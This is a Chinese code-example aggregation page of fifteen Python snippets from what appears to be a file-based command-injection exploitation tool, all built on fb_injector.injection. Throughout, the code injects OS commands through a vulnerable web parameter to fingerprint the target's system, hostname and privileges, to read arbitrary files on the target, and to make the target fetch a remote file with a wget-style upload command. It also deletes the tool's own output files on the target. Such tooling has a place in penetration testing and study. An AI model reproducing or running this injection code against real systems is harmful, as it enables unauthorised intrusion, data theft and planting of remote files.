本文整理汇总了Python中src.core.injections.semiblind.techniques.file_based.fb_injector.injection函数的典型用法代码示例。如果您正苦于以下问题:Python injection函数的具体用法?Python injection怎么用?Python injection使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了injection函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: system_information
def system_information(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.RECOGNISE_OS
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if target_os:
if menu.options.verbose:
print ""
target_os = "".join(str(p) for p in target_os)
if target_os == "Linux":
cmd = settings.RECOGNISE_HP
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if target_arch:
if menu.options.verbose:
print ""
target_arch = "".join(str(p) for p in target_arch)
sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL)
sys.stdout.write(Style.BRIGHT + " and the hardware platform is " + Style.UNDERLINE + target_arch + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os)
output_file.write(" and the hardware platform is " + target_arch + ".\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The target operating system is " + Style.UNDERLINE + target_os + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The target operating system is " + target_os + ".\n")
output_file.close()
示例2: system_information
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != "win":
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + " (" + distro_name + ")"
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
success_msg = "The target operating system is " + target_os + Style.RESET_ALL
success_msg += Style.BRIGHT + " and the hardware platform is " + target_arch
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The target operating system is " + target_os
success_msg += " and the hardware platform is " + target_arch + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
print settings.print_warning_msg(warn_msg)
示例3: current_user
def current_user(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if cu_account:
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if shell:
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account + "\n")
output_file.close()
示例4: file_upload
def file_upload(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
if shell:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The " + shell
success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
示例5: powershell_version
def powershell_version(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
#Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
try:
if float(ps_version):
settings.PS_ENABLED = True
if menu.options.verbose:
print ""
# Output PowerShell's version number
sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE + ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The PowerShell's version number is " + ps_version + ".\n")
output_file.close()
except ValueError:
print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL
settings.PS_ENABLED = False
示例6: hostname
def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
success_msg = "The hostname is " + shell
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print settings.print_warning_msg(warn_msg)
示例7: file_read
def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if shell:
success_msg = "The contents of file '"
success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
sys.stdout.write(settings.print_success_msg(success_msg))
print shell
output_file = open(filename, "a")
success_msg = "The contents of file '"
success_msg += file_to_read + "' : " + shell + ".\n"
output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the '" + file_to_read + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
示例8: delete_previous_shell
def delete_previous_shell(
separator,
payload,
TAG,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
):
cmd = "rm " + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
response = fb_injector.injection(
separator,
payload,
TAG,
cmd,
prefix,
suffix,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
)
示例9: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + " " + separator + settings.WIN_COMMENT
else:
settings.SRV_ROOT_DIR = ""
cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
示例10: file_read
def file_read(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
示例11: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if menu.options.verbose:
print "",
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + " "
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
示例12: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.VERBOSITY_LEVEL >= 1:
print "",
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
settings.SRV_ROOT_DIR = ""
cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
示例13: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if menu.options.verbose:
info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file..."
sys.stdout.write("\n" + settings.print_info_msg(info_msg))
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
cmd = settings.DEL + settings.SRV_ROOT_DIR + OUTPUT_TEXTFILE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
示例14: delete_previous_shell
def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Deleting the created (" + OUTPUT_TEXTFILE + ") file...\n"
sys.stdout.write(settings.print_info_msg(info_msg))
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
settings.WEB_ROOT = ""
cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
示例15: current_user
def current_user(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = settings.CURRENT_USER
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if cu_account:
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root:
cmd = settings.ISROOT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if shell:
shell = "".join(str(p) for p in shell)
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if shell != "0":
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privilleged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "" + Style.RESET_ALL + Style.BRIGHT + " privilleged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privilleged.\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account + "\n")
output_file.close()